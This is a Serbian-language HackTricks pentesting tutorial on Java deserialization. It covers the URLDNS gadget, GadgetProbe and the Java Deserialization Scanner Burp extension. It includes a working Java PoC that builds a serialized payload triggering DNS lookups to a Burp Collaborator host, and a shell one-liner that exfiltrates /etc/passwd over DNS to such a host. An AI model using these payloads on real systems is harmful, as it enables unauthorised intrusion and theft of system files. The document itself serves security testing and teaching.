hacktricks/pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.md
2024-02-10 13:11:20 +00:00

11 KiB

Java DNS Deserializacija, GadgetProbe i Java Deserialization Scanner

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

DNS zahtev prilikom deserializacije

Klasa java.net.URL implementira Serializable, što znači da se ova klasa može serijalizovati.

public final class URL implements java.io.Serializable {

Ova klasa ima zanimljivo ponašanje. Prema dokumentaciji: "Dva hosta se smatraju ekvivalentnim ako se oba imena hosta mogu prevesti u iste IP adrese".
Zatim, svaki put kada objekat URL pozove bilo koju od funkcija equals ili hashCode, biće poslat DNS zahtev za dobijanje IP adrese.

Pozivanje funkcije hashCode iz objekta URL je prilično jednostavno, dovoljno je da se taj objekat ubaci u HashMap koji će biti deserializovan. To je zato što se na kraju funkcije readObject iz HashMap izvršava sledeći kod:

private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
[   ...   ]
for (int i = 0; i < mappings; i++) {
[   ...   ]
putVal(hash(key), key, value, false, false);
}

Izvršiće se putVal sa svakom vrednošću unutar HashMap. Međutim, još važniji je poziv funkcije hash sa svakom vrednošću. Ovo je kod funkcije hash:

static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

Kao što možete primetiti, prilikom de-serijalizacije HashMap objekta, funkcija hash će biti izvršena sa svakim objektom i tokom izvršavanja hash funkcije će biti izvršen .hashCode() objekta. Dakle, ako de-serijalizujete HashMap koji sadrži objekat URL, objekat URL će izvršiti .hashCode().

Sada, pogledajmo kod URLObject.hashCode() funkcije:

public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;

hashCode = handler.hashCode(this);
return hashCode;

Kao što možete videti, kada se URLObject izvrši .hashCode(), poziva se hashCode(this). Nastavak možete videti kod ove funkcije:

protected int hashCode(URL u) {
int h = 0;

// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();

// Generate the host part.
InetAddress addr = getHostAddress(u);
[   ...   ]

Možete videti da se izvršava getHostAddress za domen, pokrećući DNS upit.

Stoga se ova klasa može zloupotrebiti kako bi se pokrenuo DNS upit kako bi se pokazalo da je deserijalizacija moguća, ili čak i za eksfiltraciju informacija (možete dodati kao poddomen izlaz izvršenja komande).

Primer koda za URLDNS payload

Možete pronaći kod za URLDNS payload iz ysoserial-a ovde. Međutim, samo radi lakšeg razumevanja kako ga kodirati, kreirao sam svoj PoC (baziran na onom iz ysoserial-a):

import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;

public class URLDNS {
public static void GeneratePayload(Object instance, String file)
throws Exception {
//Serialize the constructed payload and write it to the file
File f = new File(file);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
//Read the written payload and deserialize it
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
Object obj = in.readObject();
System.out.println(obj);
in.close();
}

public static void main(final String[] args) throws Exception {
String url = "http://3tx71wjbze3ihjqej2tjw7284zapye.burpcollaborator.net";
HashMap ht = new HashMap(); // HashMap that will contain the URL
URLStreamHandler handler = new SilentURLStreamHandler();
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

// During the put above, the URL's hashCode is calculated and cached.
// This resets that so the next time hashCode is called a DNS lookup will be triggered.
final Field field = u.getClass().getDeclaredField("hashCode");
field.setAccessible(true);
field.set(u, -1);

//Test the payloads
GeneratePayload(ht, "C:\\Users\\Public\\payload.serial");
}
}


class SilentURLStreamHandler extends URLStreamHandler {

protected URLConnection openConnection(URL u) throws IOException {
return null;
}

protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}

Više informacija

GadgetProbe

Možete preuzeti GadgetProbe sa Burp Suite App Store (Extender).

GadgetProbe će pokušati da utvrdi da li neke Java klase postoje na Java klasi servera kako biste znali da li je ranjiv na neki poznati exploit.

Kako radi

GadgetProbe će koristiti isti DNS payload iz prethodne sekcije, ali pre pokretanja DNS upita će pokušati da deserijalizuje proizvoljnu klasu. Ako proizvoljna klasa postoji, DNS upit će biti poslat i GadgetProbe će zabeležiti da ta klasa postoji. Ako DNS zahtev nikada nije poslat, to znači da proizvoljna klasa nije uspešno deserijalizovana, pa je ili nije prisutna ili nije serijalizovana/eksploatabilna.

Unutar github-a, GadgetProbe ima neke liste reči sa Java klasama koje se mogu testirati.

https://github.com/BishopFox/GadgetProbe/blob/master/assets/intruder4.gif

Više informacija

Java Deserialization Scanner

Ovaj skener možete preuzeti sa Burp App Store (Extender).
Ova ekstenzija ima pasivne i aktivne mogućnosti.

Pasivne

Podrazumevano pasivno proverava sve zahteve i odgovore poslate tražeći Java serialized magic bytes i prikazuje upozorenje o ranjivosti ako se pronađe:

https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/

Aktivne

Ručno testiranje

Možete izabrati zahtev, desni klik i Send request to DS - Manual Testing.
Zatim, unutar Deserialization Scanner Tab --> Manual testing tab možete izabrati mesto umetanja. I pokrenuti testiranje (Izaberite odgovarajući napad u zavisnosti od korišćenog kodiranja).

https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/

Iako se ovo naziva "Ručno testiranje", prilično je automatizovano. Automatski će proveriti da li je deserijalizacija ranjiva na bilo koji ysoserial payload proveravajući biblioteke prisutne na web serveru i istaći one koje su ranjive. Da biste proverili da li postoje ranjive biblioteke, možete izabrati da pokrenete Javas Sleeps, sleeps putem CPU potrošnje ili korišćenjem DNS-a, kako je prethodno pomenuto.

Eksploatacija

Kada identifikujete ranjivu biblioteku, možete poslati zahtev na Exploiting Tab.
U ovom tabu morate ponovo izabrati mesto ubacivanja, napisati ranjivu biblioteku za koju želite da kreirate payload i komandu. Zatim, samo pritisnite odgovarajući Attack dugme.

https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/

Java Deserialization DNS Exfil informacije

Napravite svoj payload da izvrši nešto slično sledećem:

(i=0;tar zcf - /etc/passwd | xxd -p -c 31 | while read line; do host $line.$i.cl1k22spvdzcxdenxt5onx5id9je73.burpcollaborator.net;i=$((i+1)); done)

Više informacija

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u: